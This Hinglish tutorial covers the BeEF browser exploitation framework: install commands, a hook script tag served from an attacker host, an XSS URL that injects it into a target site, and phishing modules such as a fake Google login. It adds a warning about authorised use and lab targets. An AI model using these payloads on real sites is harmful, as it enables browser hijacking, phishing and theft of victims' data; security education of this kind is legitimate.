BeEF (Browser Exploitation Framework) एक powerful tool है जो web browser-based attacks perform करने में use होता है। यह victim के browser पर hook inject करके control प्राप्त करता है और client-side vulnerabilities exploit करता है।
👉 यह web application security testing में सबसे advanced tool है जो browser पर focus करता है।
🎯 BeEF क्या-क्या कर सकता है
Browser Hooking
Victim browser पर hook inject करना
Client Info
Browser और system info collect करना
Browser Exploits
Browser vulnerabilities exploit करना
Phishing Setup
Fake pages create करना
Command Execution
Browser से commands run करना
Security Testing
XSS और CSRF test करना
⚙️ Kali NetHunter / Termux में BeEF install
System Update
apt updateInstall Required Packages
apt install beef-xssInstall Ruby Gems (if needed)
apt install rubygemsInstall SQLite (database)
apt install sqlite3💻 Basic Commands (Use)
👉 BeEF start करने के लिए commands use करो:
Start BeEF Server
beef-xssStart with Custom Port
beef-xss -p 3000Start with Custom IP
beef-xss -x 192.168.1.5Check BeEF Status
systemctl status beef-xss🎯 Real Example (Practical समझ)
1. BeEF Server Start करो
beef-xss👉 Output में URL दिखेगा:
UI Panel URL (यह पर control panel open होगा)
2. Hook Script URL Copy करो
http://192.168.1.5:3000/hook.js3. Hook Code Sample (HTML में insert करो)
<script src="http://192.168.1.5:3000/hook.js"></script>🧠 Dashboard में क्या दिखेगा:
Online Browsers
Victim browser की list दिखेगी
Victim Details
OS, Browser version, IP address
Available Commands
Different exploits और attacks
Activity Log
सब actions का record
👉 Popular modules use कर सकते हो:
Get Browser Details - Full info देखोFake Flash Update - Phishing attackClippy - Funny messages showPretty Theft - Phishing modalGoogle Phishing - Fake Google loginAlert Dialog - Popups show🔥 XSS से Hook करना
XSS Vulnerable URL
http://target-site.com/search?q=<script src="http://192.168.1.5:3000/hook.js"></script>URL पर inject
Victim link click करे
Database में save
Auto hook हो जाता है
👉 जैसे ही victim page open करेगा, BeEF panel में उसका browser दिखने लगेगा
BeEF का unauthorized use गैरकानूनी हो सकता है
केवल authorized testing में use करो:
- अपना lab environment (Vulnerable apps)
- Pentest permission वाले websites
- Educational labs (DVWA, bWAPP)
⚠️ XSS और browser-based attacks को understand करना important है लेकिन बिना permission में use करना cyber crime है!
🧩 Related Tools
Metasploit
Full exploitation framework
Burp Suite
Web application testing
BeEF = "Browser पर Remote Control"
Victim का browser hook करो, और control panel से उसके browser में कुछ भी कर सकते हो — popups show, info steal, phishing page open.